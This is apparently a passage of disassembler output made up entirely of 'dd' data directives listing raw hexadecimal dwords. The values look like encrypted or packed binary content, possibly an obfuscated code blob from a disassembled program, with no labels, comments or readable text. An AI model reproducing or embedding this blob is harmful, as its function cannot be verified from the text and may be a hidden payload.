		dd 0D2DB8B37h, 0F8F76F31h, 0EE0B5F53h, 5FD91874h, 0C4B4FE9Ah
		dd 7E1BFE74h, 0B4AFC32Bh, 0E14B61E5h, 1DA692DBh, 278h
		dd 9508496Bh, 8EC6362h,	5F47600Ah, 0CC2935A5h, 16A88C4Ah
		dd 73CC5723h, 50906C5Ah, 6B4D2250h, 94E181FBh, 0FA917590h
		dd 0C196D6B1h, 0AF2E67BFh, 4F23EB83h, 9F6728ABh, 5B5A9DEEh
		dd 6ADF5BD4h, 0B9AE0F29h, 3A4820E0h, 35EFCBEEh,	286CCD3Bh
		dd 376EFE7Eh, 0C16B3C6Dh, 0C8AC23ACh, 3C751781h, 0C55D91E6h
		dd 0C0899385h, 78FFB8B7h, 7517BDA4h, 4B4D223Ch,	36CDC136h
		dd 0F4320AF6h, 0D6E67DB0h, 0DEDC1CF8h, 4C1F1709h, 7A5860E4h
		dd 0B4AEEA8Ch, 0B9F593B3h, 0A6ECAC89h, 485408D6h, 824B71E4h
		dd 6874ABB2h, 906710CCh, 0A46E7C7h, 0F32FD0CEh,	0A6431939h
		dd 0CF64EED9h, 34Fh, 97C909A5h,	7EBAFA91h, 94C404A0h, 80C0FC96h
		dd 81BFFF9Ah, 0B15073CEh, 8B696F71h, 6E0B114Fh,	87280632h
		dd 3F380D4Bh, 8ABBF65Dh, 0C78BDBF4h, 0AFABE7C8h, 29AEADCAh
		dd 4A527353h, 0EEE057F6h, 0DEAD814h, 0A8A260E7h, 7030450Fh
		dd 0E230E6F8h, 0B02AA3AAh, 584A366Fh, 0F444342Bh, 0D2A09D86h
		dd 4C8CE19Bh, 195E3DCFh, 0A01A951Ah, 98C2E9B7h,	0BA527438h
		dd 39AE7E7Ah, 38BEA9CFh, 745869BDh, 0CA65A1Ah, 3983D95Dh
		dd 0C99C094h, 79FED945h, 62AAC25Eh, 0FDDC5FC8h,	6DEFC5ABh
		dd 0F1CDAF9Fh, 0CEFA440Bh, 2B442933h, 544A362Fh, 0F22ECBBBh
		dd 104CE6C8h, 0FEFAD5D2h, 43D22E2Eh, 6F36A426h,	42DF8A9Eh
		dd 5E23712Fh, 0BF951A19h, 0C2C40759h, 0D639CD4Dh, 9C0EDD7Eh
		dd 0D7832B4Bh, 24D4A5FAh, 67FADD54h, 0E247B37Eh, 444E3D6h
		dd 0C561E1D6h, 0C3D9C776h, 68F552EFh, 0EBF57F42h, 2AA4FA13h
		dd 0FE3ED990h, 0E30CE3C4h, 0C2E45EF7h, 2720352Ah, 6E89F2AEh
		dd 7F6FE86Fh, 0C4B464A4h, 887F97B5h, 0CAE9CEE0h, 4B67CB95h
		dd 6E27B670h, 0B6981F58h, 0BD9B9DD9h, 1228A4E0h, 490C682Fh
		dd 20D6A17h, 0C3630000h, 0BC575583h, 0C65E3C7Ch, 0B6545A86h
		dd 0C1603E7Ah, 358C3F81h, 85B3F38Eh, 97C905A7h,	7CBCF891h
		dd 93C5019Eh, 7CE3B9BEh, 61F48ABAh, 0E7C80105h,	3816AFABh
		dd 4C291959h, 0BEC8FB8Eh, 9C5C1470h, 129D9CDBh,	1590B79Dh
		dd 9DF355h, 8375FAC4h, 0A64B2E0Eh, 0EA2677F8h, 0CF0D0417h
		dd 2447A2ABh, 74EEE715h, 1C2D13CAh, 0C0C6B274h,	0C28200B7h
		dd 77C2754Dh, 7440CCCCh, 1C9392E5h, 2614502Ah, 62324F51h
		dd 0C9E45A83h, 97AB26Eh, 503E5766h, 5900D4B4h, 3E5295BAh
		dd 53301E39h, 0E6116917h, 0D3ECF5BCh, 0DBCB84E9h, 0C736693Ah
		dd 0FFAF0DC3h, 0EF6BE8D8h, 87771002h, 959385C0h, 0BD7EBCF8h
		dd 98D4B2BAh, 4324F8BFh, 8998C66Ah, 94CE0EA5h, 3295E593h
		dd 0E703B5DEh, 95854593h, 6E184Bh, 1F6E424h, 6D661D6h
		dd 6E55955Fh, 586D2B44h, 5B5D9976h, 7664A07Dh, 0EC636295h
		dd 4108EC63h, 266E5595h, 0D74F51h, 36539CA6h, 9A74DBC1h
		dd 14594112h, 0C0D91464h, 0FE7E0D13h, 0F275AA5Ch, 3EF67F45h
		dd 0D3B6B932h, 0DC9E53FDh, 32000000h, 442A1656h, 31372969h
		dd 41271959h, 2F2D2B67h, 0FDD01050h, 42821DA6h,	3A761816h
		dd 478320FEh, 36721319h, 72424D0Ah, 0F48AB9EBh,	0E5D4A0D0h
		dd 381C9392h, 0AF8DCC1Bh, 0FA847736h, 8E695D0Ch, 6513144Eh
		dd 0E959DE77h, 0E84BE6AEh, 4F16E682h, 348CF8E7h, 0ADED3D3Bh
		dd 0AC9C5AAEh, 91B89C13h, 0F6831AADh, 7CF17F81h, 83BF603Eh
		dd 343DACCh, 82230915h,	0FF7B1C46h, 1E260E51h, 3A32EE62h
		dd 0C6DF87FCh, 238B0193h, 45180C68h, 73C9B266h,	8CB6F293h
		dd 6FDFEDABh
		dd 18F53DCCh, 8767DCDCh, 73746EAAh, 0CA06A785h,	0B8F48E90h
		dd 8F1EAB8Ah, 0B3956647h, 91968480h, 0F9DFE1F6h, 0F55C401Ch
		dd 0DACFB090h, 0BBF02595h, 0C7BC4509h, 3115B2B0h, 56671959h
		dd 3, 0C86C1C32h, 0B4BAA8E8h, 0C1AB97D3h, 0B0AEACE8h, 0C6A892CEh
		dd 0ADAFABEBh, 0C6A892D2h, 0ACB2B0ECh, 4C5290D0h, 917171B1h
		dd 81E28952h, 4C2h, 4EA8300h, 5C241487h, 68240489h, 19C0h
		dd 68242C89h, 438Bh, 53240C89h,	0B43BF57h, 0FB8929A5h
		dd 0D2EB815Fh, 8921C5AFh, 0EC815BDDh, 4, 83242489h, 59042404h
		dd 52EA8952h, 0CE240481h, 8F578A49h, 69810841h,	8A49CE08h
		dd 0C8B5A57h, 0E0895024h, 405h,	40500h,	4870000h, 34FF5C24h
		dd 0C4835D24h, 6E42E904h, 0AB78FFF6h, 0E54A2930h, 6397B86Ch
		dd 0C50307DFh, 0E82BE0FFh, 12C83A2Ah, 63F20D97h, 14E817D5h
		dd 36000000h, 0C562ABF2h, 0C59896B8h, 0A3B11726h, 0F669FCA4h
		dd 80C56BF2h, 53594DCCh, 5E9h, 94BF1C00h, 815AA9B2h, 7332C1h
		dd 9F68F800h, 0B000001Ch, 0CE95E0Dh, 6E000000h,	23A468Dh
		dd 0D09B5A64h, 0FF794527h, 0F5BF831h, 0F381C3BFh, 33427F46h
		dd 66D68B60h, 8D4CEA81h, 0F7C38161h, 0B24BA2BCh, 3BEB815Ah
		dd 0E9338C85h, 5, 15AC5FAEh, 0B41989CEh, 2E98331h, 6E84949h
		dd 0B4000000h, 0F0AAF980h, 0DDB8666Bh, 0EE815F88h, 1, 0FFAD850Fh
		dd 810FFFFFh, 1Dh, 12E8h, 7D517C00h, 1E85BB39h,	3C7B7912h
		dd 5C44DDCh, 662E8690h,	90F3D881h, 10E95Ah, 74F70000h
		dd 0A9Fh, 2 dup(0)
		dd 2DE90000h, 68000006h, 7DF6655h, 0F98EBDE9h, 66E368FFh
		dd 0B3E907DFh, 68FFF98Eh, 7DF68C4h, 0F98EA9E9h,	0AC6401FFh
		dd 1DD39417h, 0AD63FFCCh, 20D08F1Ch, 0AF6100CBh, 9EE0291Ah
		dd 0EFBC0DC3h, 0A12ABF71h, 0F3B809C7h, 902CBD73h, 73333B26h
		dd 0B7C7AE62h, 8C4425D9h, 0FDE75AFEh, 0FE410398h, 31B59666h
		dd 7BEAFFh, 9373DEACh, 3A7558FDh, 93681B75h, 347E34FEh
		dd 0D8FF2D1Dh, 64D3D102h, 2D8FFE4h, 81D47C1Ah, 274E3E1Ch
		dd 7280BB97h, 9DE7D996h, 242F43E1h, 3A08A04Bh, 33BD891Ah
		dd 0B32B362Eh, 672D0F27h, 1423E410h, 0D7BFEE0h,	40624h
		dd 0C9296E00h, 0FFFB6952h, 0EC5A56D5h, 0BF93F1DDh, 97D289E1h
		dd 4AA8A5CDh, 3351376Ch, 4045B65h, 24A9BD0Dh, 0E3C1A3FEh
		dd 3ADCEAF0h, 0E4C99822h, 7B0D5A3Ch, 0D4152B0Dh, 3E566A75h
		dd 1ACC4198h, 7709147Ch, 0E2B8996h, 242BA330h, 303D9AC7h
		dd 4089331Ah, 8CD56DA3h, 800AA2D9h, 4C4630D1h, 0EB4F97C2h
		dd 0F5E40214h, 68437E53h, 7CD0CE20h, 8C1696D5h,	54E601D5h
		dd 0EBA7A07Dh, 8DBC6844h, 0A9EFD871h, 34EC7841h, 8CEA8220h
		dd 4D6E3CDAh, 0B9926799h, 83E2F32Dh, 8D142A57h,	435D05Bh
		dd 15D00000h, 0A24506DBh, 12CE5D6Eh, 0A13E0DDEh, 10D15A6Fh
		dd 91D80BE0h, 6D7EB22Fh, 0FBD000DEh, 697AB630h,	0FDCE02E2h
		dd 42CA951Fh, 78AE6270h, 3C3F8A88h, 102F2270h, 0A4146939h
		dd 37B24B17h, 0C9C79BF9h, 0A8C4671h, 517A91CDh,	0E8055D93h
		dd 3FF1715Ah, 83AE3823h, 0A2546634h, 5415B604h,	96F828B9h
		dd 45FB6645h, 0CE5C2A35h, 0E329EE36h, 1CFB4117h, 0D9E4F6C5h
		dd 4C189BF0h, 1803574Eh, 8527589Eh, 0FF4E6B78h,	3803F5DEh
		dd 3A7h, 5C6DA342h, 7DC14CFh, 576CA444h, 8D917D4h, 596AA643h
		dd 0CDD276Ah, 0BE2CFFD4h, 8DA7182h, 0BC2803D8h,	0E3CD6F84h
		dd 6270FC6Ch, 20F602AEh, 22703C3Fh, 405A282Fh, 0BE0A3BABh
		dd 44EEF94Ch, 37EC8414h, 0AC58FA63h, 2491B5C2h,	88B38F54h
		dd 939DC73Fh, 8B4522A7h, 0F881D9B7h, 89D4A886h,	0BFCB270Ch
		dd 5E0F7213h, 0D7913A24h, 0A9B84119h, 0BA00349h, 0F91E3AADh
		dd 6CA43E8Bh, 0EA163AD8h, 0E7B1951Bh, 0BB311834h, 1F3E276h
		dd 247h, 49412549h, 9AFD6838h, 6AE26D66h, 90A9BD2Bh, 0BB48F08Eh
		dd 0D9BE808Eh, 0B495E5C7h, 7AEB0030h, 72DDABFFh, 0C15716B7h
		dd 737BB81Eh, 0F6C36F61h, 0A39EB66Ah, 0A2356A33h, 398725D7h
		dd 8B88322Dh, 2E46E9BBh, 6D4E644Eh, 712F43FDh, 35BD46C6h
		dd 199A7C0Fh, 0E4C2924Eh, 3F2A4D88h, 1EB97071h,	0E7A99CC8h
		dd 0B77B56FAh, 9B4B700Fh, 0F86F0D65h, 0CC4A526h, 0EE025A38h
		dd 9A8A0E29h, 2333F7D7h, 66C073FBh, 0E4D36FEFh,	42h, 703C3F2Eh
		dd 0D8B72F22h, 8D9E7FE8h, 0E66E49B8h, 313395FBh, 9A7CF2C3h
		dd 8A167FCAh, 4D1D6911h, 0B1A67D73h, 0A1585BA6h, 2A358B2Bh
		dd 0CBA9A622h, 517ED6D8h, 0FC3BDCF8h, 31CB7F78h, 0BDBCh
		dd 41250600h, 2AB8018Fh, 0E212DDB0h, 6745CF40h,	9F4AEB0Bh
		dd 0B4301161h, 9F47E87Ch, 9B29061h, 0D1CFA35Dh,	0E1973E79h
		dd 0FE1EA6E1h, 24B87491h, 3E08FA35h, 30B47796h,	0C1CD3D14h
		dd 33F10B2Eh, 19A28051h, 0B5784D4Dh, 2326E035h,	0B33F181h
		dd 70FFE8BAh, 78DF7BABh, 70DFA901h, 0F938B400h,	571B70C9h
		dd 97B8A9E6h, 70133DE2h, 299220FEh, 0D87388B8h,	0BC74F409h
		dd 0AACC0DDAh, 2E3EBCC4h, 1C683h, 4C846100h, 0FD33B477h
		dd 4D835FECh, 30AF7Ch, 4F8160EBh, 0BE00497Ah, 4FDCED23h
		dd 0C18A5F91h, 53D8E927h, 0B08C5D93h, 7ED35B06h, 17E7AE62h
		dd 8C4425F9h, 40F07437h, 4C1CEBABh, 0D43B4D80h,	82431F02h
		dd 941E2EE2h, 60D89BC4h, 94B06FA5h, 139D5313h, 0CC3C139Dh
		dd 0F2A9BD38h, 38050534h, 0F8B9A9BDh, 7AD2B46Ch, 0D1ED6CD9h
		dd 38F870DFh, 20FEA9BDh, 0BD383931h, 0BDDFBDA9h, 639E5CF3h
		dd 0A6731F0h, 0E78B94F1h, 0C8FB10FAh, 74FDB86h,	0A634E77Fh
		dd 0A03B19E0h, 10709EC2h, 1346D175h, 0A620DBE7h, 246E30CEh
		dd 6FFCCA8Eh, 0EDBAE2BBh, 9515D455h, 56563829h,	9C2D4F00h
		dd 0DC6204A5h, 0EA0B5B65h, 1D34E100h, 7F5AFE50h, 86AE3B80h
		dd 0DECC53DBh, 0E7C567B1h, 7240F28Bh, 0DECC6FDFh, 4C8460B1h
		dd 0CACC1AF8h, 0FB35B172h, 4C8465E6h, 0D12DF8h,	3F550000h
		dd 25DB8D3Ch, 6B355755h, 32FE75F4h, 0EC634D71h,	6E3FCE7Ch
		dd 4B16A482h, 6E3FCEC3h, 221D35F7h, 0A154F85Bh,	0E1660130h
		dd 0DC8A2F5Ah, 32802A3Ah, 0D3E12F1Fh, 79D1D3F4h, 0B6043CA8h
		dd 2FBA5315h, 0E1C361F1h, 8363E889h, 21D2FD4Dh,	0D3E30B9h
		dd 56BCACA3h, 5B06BB33h, 0BB3356D3h, 0F5B745E7h, 0E5E3625Dh
		dd 0D8074E1Ch, 0E603CFA3h, 29EE4A48h, 7B508064h, 0AEFC34B0h
		dd 18DD4D04h, 57E1070Eh, 0E180008h, 96F8B607h, 4E1D9EBEh
		dd 2216C292h, 39D490FDh, 56D689ABh, 6C070E18h, 9A78CCAAh
		dd 8064E7FCh, 2632FC50h, 5E5EE3Dh, 0D39F63CBh, 1E2EE27Fh
		dd 7B461E80h, 13h, 2FE18247h, 2FE57D1Bh, 8A054C1Ch, 515BACAAh
		dd 25A45AF9h, 0FBBC9040h, 24A5B56Bh, 0FDBE8E42h, 20A1B16Fh
		dd 0FABB8F41h, 20A1B16Fh, 0FCBD8D43h, 1FA0B46Ch, 0E1B88C44h
		dd 56E78957h, 0B74391BEh, 2E6C12Dh, 0EE81DEF7h,	4922F1B8h
		dd 835EF701h, 3C8704EFh, 89525C24h, 4C281E2h, 83000000h
		dd 148704EAh, 0C895C24h, 3F5A6824h, 34890000h, 65246824h
		dd 0C8B07DFh, 4C48124h,	68000000h, 68E8h, 83242489h, 5E042404h
		dd 22D968h, 240C8900h, 2F242C81h, 8F3DC130h, 46810846h
		dd 0C1302F08h, 2434FF3Dh, 4C4835Eh, 592434FFh, 0E904C483h
		dd 0FFF9889Eh, 1ABFE2ACh, 0DF6AAFB8h, 0FFC50307h, 967B93E0h
		dd 8AC4D635h, 27827979h, 9E83875Ch, 0CA2F414Fh,	0DC441817h
		dd 7DD5545Ah, 0A147F202h, 76BE7120h, 5843AF59h,	1BAE4843h
		dd 7E869738h, 0BA3EA035h, 0DB28312Ch, 0E5A9851Ah, 5544EC2Fh
		dd 81BFC261h, 0A6744B59h, 8E837h, 0E6090000h, 67D2A678h
		dd 6E98EDCh, 0A9000000h, 0E1BB654Ah, 0EB805F4Ah, 28C78171h
		dd 0F00005Bh, 0F633D9B7h, 37148BF9h, 0FE9h, 576C9200h
		dd 0B62DB54Fh, 0F0232BF7h, 2AAC7E0Ah, 8E79C281h, 0CF8B167Fh
		dd 2723EA81h, 0D1807B53h, 3EEA812Dh, 812F26FCh,	63553AE9h
		dd 37148921h, 66C3BF0Fh, 0EE81CF8Bh, 2786F0E9h,	11E8h
		dd 26AA5F00h, 0D47E824Eh, 8A9D141Ah, 35C57108h,	0BF0F01D9h
		dd 0C6815BC2h, 2786F0E5h, 0FE81CB8Bh, 0FFFFA59Ch, 1A850Fh
		dd 0C1800000h, 2CE979h,	230F0000h, 0CA325DF4h, 9D85D8EEh
		dd 613DF831h, 36EBAFEAh, 0E9EBCD80h, 0FFFFFF6Dh, 8777D9E3h
		dd 8D6F07Fh, 1102C9CDh,	0C5C18BA2h, 8D8D5F45h, 7DF6D10h
		dd 0C6D9501h, 958B07D3h, 7D32669h, 29418D89h, 6A07D3h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0B06591C3h, 0C02E28B5h, 49BA661Ah, 0C757B74Bh, 0D32BA185h
		dd 600C07h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 0F0BCAE1Fh, 85C7F8EDh, 7D33311h
		dd 0
		dd 0A65BD89h, 0B5FF07D3h, 7D32CB5h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 73C35747h, 0B189EEDh, 44F25996h
		dd 1ED2BF46h, 95FF28B5h, 7D32D3Dh, 2A5BD8Bh, 6A07D3h, 301995FFh
		dd 0C08B07D3h, 0CFAE7EEBh, 9AA37FB0h, 40D14718h, 0AE3FF4D5h
		dd 59767C9Ch, 0E6B63A12h, 8D19A2DFh, 2EA2F237h,	495F317Ah
		dd 0BF414413h, 0A46A3D63h, 5F1C6E5h, 360A387Bh,	0F761A067h
		dd 8BE18A6Ch, 0AC95237Eh, 22D68A0Bh, 0D4D5A0DBh, 0F5ABDB4Bh
		dd 0CC493E19h, 0B764E5D2h, 5C9E4910h, 0D3A80EE5h, 87EFA7E3h
		dd 0C681227h, 0FCBB8AEEh, 9223ED56h, 423B1F7Bh,	0E9C2EA82h
		dd 451E2E1Eh, 94E6FDBAh, 0C7B96E2Bh, 6E578D8Dh,	0BB6607DFh
		dd 8D8960D4h, 7D32941h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0F4C35141h, 0F071AD74h, 30E9958Bh, 85C707D3h
		dd 7D32BA1h, 6A38h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 2AC35141h, 0F588F5B8h, 331185C7h, 7D3h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0F12C3CC3h, 1E254EB3h, 9B5FFB2h, 8B07D321h
		dd 0D302B99Dh, 3D95FF07h, 6A07D32Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 2CFEC355h
		dd 0FF006A5Bh, 0D3301995h, 0EBC08B07h, 6E595A5Dh, 0FC59783Fh
		dd 0FA3B37CCh, 0CF818D6Bh, 0D57C516Dh, 8483CCC8h, 0B0DB5248h
		dd 0C006A8ABh, 0FCC17082h, 44842F14h, 45E60CE0h, 17134232h
		dd 0EE78DEB4h, 5283F2DEh, 0D81CABB4h, 3BFC8E73h, 0EC230749h
		dd 17AAA640h, 0D1AC5BC5h, 0D3A6EBFFh, 983BF21h,	5F940A66h
		dd 65456B72h, 7353A2ECh, 365DB161h, 56AB3C3Dh, 0F7EFB132h
		dd 59DA16F2h, 56D5B4B9h, 10E70832h, 5614D34Fh, 56B8D332h
		dd 5DDCB132h, 0E5956F3Bh, 5656303Dh, 5652B132h,	5254BE32h
		dd 36EAB132h, 8A14E863h, 56B8D31Fh, 0AE5DB1CBh,	0DDA1B132h
		dd 5657B12Bh, 56ABA5DBh, 0E942CC32h, 0AA6D9F4Bh, 4AB59150h
		dd 89E669EDh, 82CF232Ah, 5A2FBEACh, 5957B132h, 56ABB7BFh
		dd 5651BE32h, 56EAB132h, 469CD132h, 0B6BAB132h,	0DF9CD63Fh
		dd 0AFA0D504h, 6E916B8Ah, 5941B89Dh, 56D5B2BEh,	0A561D732h
		dd 0BF75B153h, 56BAB122h, 0E5AC9D0Eh, 0E4B0947Ch, 0CE43E609h
		dd 0A82ABD1h, 56B27BA2h, 8FEAB132h, 4226DBD0h, 2603C0A6h
		dd 5FB4B132h, 0DCAEB132h, 8B6ACDCBh, 0F653EF60h, 56BF9C1Ch
		dd 56FA5832h, 16EFB132h, 13BB3436h, 5458FFE1h, 21D55BC7h
		dd 56576DBBh, 56AC3F3Dh, 0D7DAB132h, 56EAB133h,	0E97AD1CAh
		dd 56B058F3h, 0BB7DB132h, 0C9880C4Fh, 0ACB98D3Fh, 36ABB153h
		dd 30250E3Dh, 568B42B9h, 56655832h, 0AA97B132h,	0BC6D2772h
		dd 0A36B6DAh, 71392ADh,	56AB8747h, 56D5B6DBh, 77696632h
		dd 1F2EE7Dh, 3646B132h,	56D1BE52h, 30AEB132h, 0D04C76B3h
		dd 56ABD053h, 57900E52h, 5803F56Ch, 0BD75B132h,	0CB9D29EAh
		dd 3216019h, 5F77DCB5h,	5657D0DEh, 982AD752h, 37298EE8h
		dd 59EAB1C7h, 5675AFB9h, 8400D132h, 0BE2B60D8h,	56AEB123h
		dd 55D22FE2h, 290D0E6Ch, 3800C3ABh, 4838F6F1h, 5614E9F3h
		dd 0D7B5D132h, 565DB137h, 34443054h, 3737D1FCh,	370059B2h
		dd 36D5B153h, 0B06A40B3h, 0D07A9C8Fh, 56BAB134h, 565D393Dh
		dd 36CFB132h, 6C956BB3h, 8015824Eh, 379E9A8Fh, 0D4E5B132h
		dd 5675B120h, 56BABCDBh, 0E5438532h, 1E065C5Fh,	0B479AB24h
		dd 56ABD5CBh, 56D5A0DBh, 0F4013A32h, 0A1AB9C1Fh, 359E1871h
		dd 4BE75422h, 0E9CE523Dh, 76A33ADDh, 56CA7AB9h,	5A54BE32h
		dd 59EAB132h, 5675B7B4h, 5635BE32h, 595DB132h, 56AEBDBBh
		dd 50D4BE32h, 59ABB132h, 56D5B1B4h, 36EAB132h, 599C7BB9h
		dd 0E5BAB132h, 4928B1BBh, 851BCC87h, 0B7970A4Ch, 56CA01D3h
		dd 5A5ABE32h, 59EAB132h, 5675B7BEh, 5633BE32h, 0BF5DB132h
		dd 56AEB121h, 0B6C812C0h, 650DFAE3h, 0AAF57F15h, 59EE63F7h
		dd 56C2D0D2h, 0EEDCD132h, 0EF3B0DE7h, 56CF72D4h, 56515832h
		dd 109CB132h, 29E93D3Eh, 4203B132h, 1475B132h, 0F54D0FECh
		dd 3C173D20h, 920638B9h, 100C96C4h, 565C02DAh, 56DA5832h
		dd 0E30DB132h, 0A5C7F767h, 0ED9A520Ch, 3991E520h, 36AEB157h
		dd 61AFA78Dh, 502DBE58h, 59D5B132h, 56EAB1BDh, 5677D032h
		dd 59BAB132h, 565DB9B3h, 5424BE32h, 3657B132h, 54AC6953h
		dd 4FD5B032h, 79EAA132h, 1E75BA32h, 36BAB133h, 564C5961h
		dd 225BB132h, 77BE3EFEh, 1D23747h, 0FA96FD00h, 80CBC4Bh
		dd 43F3BE6Ah, 0BFBAB132h, 565DB122h, 0ABF67EF4h, 0F5DE257Eh
		dd 78FF950Eh, 861F8506h, 0BFEAB153h, 5675B13Fh,	0C8687647h
		dd 0DB9A17A5h, 0A00A7C97h, 5957B1F5h, 56ABBBB3h, 676ED132h
		dd 3094A771h, 56146FB9h, 56BA4932h, 565DA2DBh, 82F2EE32h
		dd 0C7B364C2h, 4F93F18Ch, 55B33169h, 0CD607F43h, 0BF75B1C7h
		dd 56BAB134h, 5DBD284Fh, 56AE2B8Ch, 6F97B352h, 0AABC9C20h
		dd 59D5B153h, 56EABDBEh, 56725832h, 5A40B132h, 5F1D4452h
		dd 36AEB147h, 0DD37B130h, 0BFF9D0E3h, 56D5B137h, 0FAB54F8Bh
		dd 72713847h, 1679C34Fh, 3A420F4Bh, 4FEE107h, 5657B8DBh
		dd 0E5895C32h, 59BB5842h, 67E514AEh, 5927E152h,	30E2EB03h
		dd 0C3C76B9h, 1AD1226Ah, 0CBCC1BA7h, 5F422D52h,	1BD5B132h
		dd 1FBAA230h, 5309DE7Ch, 16D260B3h, 50B49DAEh, 70AEB132h
		dd 0E4EAA555h, 0EECD2C31h, 37B4776Dh, 67E52CA2h, 0E2FA186h
		dd 16C2253h, 0A53F9C76h, 0BF32E8AFh, 5657B126h,	3D1154EEh
		dd 1153D0FAh, 0B5F82C46h, 692B28D2h, 0DD0E43Eh,	8F6B6FB3h
		dd 5A478FA9h, 0F257B132h, 4678733Fh, 6AFABF3Bh,	0CBA1ABF7h
		dd 56752753h, 0A5D89C76h, 19F39882h, 3D1454EEh,	3005E1AFh
		dd 67A46FB9h, 0E8FEE64h, 0E15CE953h, 5373C16h, 56BABFDBh
		dd 0EAF23F32h, 0FE652B77h, 2F0D7F3h, 0CBE843CFh, 0C34A0F54h
		dd 0FB2EE953h, 37E8C2D0h, 562AE968h, 2D9EF330h,	0BFAEB13Ch
		dd 5657B13Bh, 0C9E9B788h, 7CD05BBh, 59EAB1D3h, 5675BCBFh
		dd 7102D132h, 5954DEFAh, 56AEB1B7h, 5657D032h, 0BFABB1CBh
		dd 56D5B134h, 0FFA0F4DCh, 5675590Fh, 56BAA1DBh,	3A44432h
		dd 0C16D0F20h, 0FFFA2D47h, 69EF004Ch, 0D5DAD1CCh, 56EAB13Fh
		dd 5675B6DAh, 0B6251232h, 65FBFAE3h, 5020BE6Ah,	5957B132h
		dd 56ABB1BCh, 56D5D032h, 56EAA3DBh, 733D5C32h, 94A4F1Ah
		dd 57E21E4Ch, 1750EACDh, 56FFC503h, 56A05832h, 0FCB6B132h
		dd 0C1EA6A70h, 1344D11Ah, 36BAB131h, 0EC8A3A54h, 7A96A841h
		dd 0AF57B153h, 5F42B132h, 74D5B132h, 0FB0A5A63h, 0FABB4A17h
		dd 0D8B5B132h, 565DB135h, 56AF343Dh, 56AEB132h,	56AE5832h
		dd 494DB132h, 564DDE4Ch, 5FFCBE32h, 36BAB132h, 6B873054h
		dd 37CFD1A9h, 56A2B132h, 5D20BE32h, 36D5B132h, 28A30954h
		dd 8F41C388h, 0D8B5D059h, 565DB13Ah, 5622BE52h,	3757B132h
		dd 0DBA4B132h, 56D5B123h, 56EABDDBh, 0B6E23932h, 45B7E56Bh
		dd 8B9C82BAh, 0BFAEB1BCh, 5657B13Bh, 2ADD883Ch,	1CB906A2h
		dd 36EAB178h, 844D7E8Bh, 5153D175h, 0E25DB132h,	934CF3E9h
		dd 3737150Ah, 56ABD053h, 56D5BEDBh, 0AF5FB232h,	23580BA7h
		dd 464BFA28h, 33F76D51h, 4547B132h, 6257B132h
		dd 0EA7B7B06h, 0ADA68200h, 77CF823Eh, 0A55C2A6Bh, 56BAD8EDh
		dd 56495852h, 0FDFDB132h, 8FF1F0BFh, 77EABF6Eh,	1CE76C6Fh
		dd 0AA98DE2h, 0DE7A02EAh, 56BAB137h, 4BFF7D88h,	56AED06Bh
		dd 5657B6DBh, 9BED9732h, 4D93FD75h, 0DD8AB132h,	0AEC2BEC1h
		dd 0AFBAB153h, 45B4B132h, 0F4AEB132h, 2E18B5A0h, 0F408B6FBh
		dd 0B6521387h, 59C6035Bh, 5675132Ah, 56BD323Dh,	303DB132h
		dd 0FDF272B3h, 0A357B153h, 5142B132h, 2AD5B132h, 1F13801Eh
		dd 56753097h, 56BB3A3Dh, 0AEA5B132h, 0BF56B132h, 5657B13Dh
		dd 644BDB23h, 0E51969DDh, 4574C709h, 5697DE61h,	770ED132h
		dd 563C67B9h, 582DBE32h, 3657B132h, 56AB313Dh, 9854B132h
		dd 30EE72E2h, 0A375B153h, 0D3B5B132h, 565DB133h, 0DDC8D1CBh
		dd 564358E5h, 9E02B132h, 0BA85F2A2h, 0F539D9EDh, 0FDEF1DBCh
		dd 37459638h, 563C0326h, 56A35832h, 1764B132h, 602FA03Eh
		dd 6200B11Bh, 56B85DC7h, 56675832h, 0EE08B132h,	82B4A1Fh
		dd 0C53A9FC6h, 0CC579905h, 5F900D95h, 5D3CB132h, 0A3EAB132h
		dd 574C22A4h, 702AD483h, 565DBD06h, 56A93B3Dh, 0DA58B132h
		dd 56ABB133h, 585ABEC7h, 0BFEAB132h, 5675B13Bh,	552E2FA3h
		dd 0B6248EDh, 0BFAEB129h, 5657B13Bh, 1C457D17h,	6C2E40B6h
		dd 0BFEAB1D7h, 5675B13Ch, 4C15C235h, 0DC4468EFh, 75331E5Eh
		dd 5657EB70h, 0A3ABB1CBh, 0D9DAB132h, 56EAB123h, 5675BDDBh
		dd 357A9C32h, 0C7F1AA3Eh, 0ED400EE4h, 0BF57B1E2h, 56ABB13Fh
		dd 56973064h, 6EBC706h,	12356B88h, 0AABAB1AEh, 0DD52B132h
		dd 56AEB12Ch, 564F3E3Dh, 4542B132h, 86D5B132h, 74BFB852h
		dd 200D276Ah, 49065A9Fh, 0C4819A40h, 56AEFCBCh,	5657BBDBh
		dd 5FC0B732h, 0F9D3A04Ch, 36262965h, 0D47A7EB9h, 56BAB131h
		dd 37A63A54h, 0E7CEB132h, 37873AE5h, 36ABB1CBh,	590E063Dh
		dd 56EAB5BCh, 0FACBD732h, 0DCB5D011h, 565DB13Bh, 8F25D752h
		dd 44620854h, 36ABB153h, 30DE72B2h, 568B60B9h, 3015D132h
		dd 0DB5E5BB3h, 0D863054h, 0DDA1D04Fh, 5657B12Bh, 56ABA5DBh
		dd 0B68A2332h, 0CA9693A3h, 0B69CADD8h, 0A4506389h, 19122005h
		dd 56AED0AFh, 565C3D3Dh, 59CBB132h, 8E546F85h, 448837A3h
		dd 0D47AD153h, 56BAB134h, 565D3D3Dh, 0F711B132h, 3773848Dh
		dd 5653B132h, 443C4432h, 9FEAB132h, 0FAC86290h,	2C0041C1h
		dd 7507EDD7h, 3D8A8023h, 0A357B1B5h, 5657B132h,	56D54932h
		dd 896BD152h, 625C53DDh, 4453D053h, 0D75DB132h,	0C804963Dh
		dd 0EDF7F04Dh, 0F81932A0h, 102670Bh, 59EAB1A2h,	5675B4BEh
		dd 0E9B5D132h, 565DD0F9h, 56A2363Dh, 51BEB132h,	21ABB132h
		dd 54939434h, 590345CAh, 4675B132h, 176E0AD0h, 0C980E99Dh
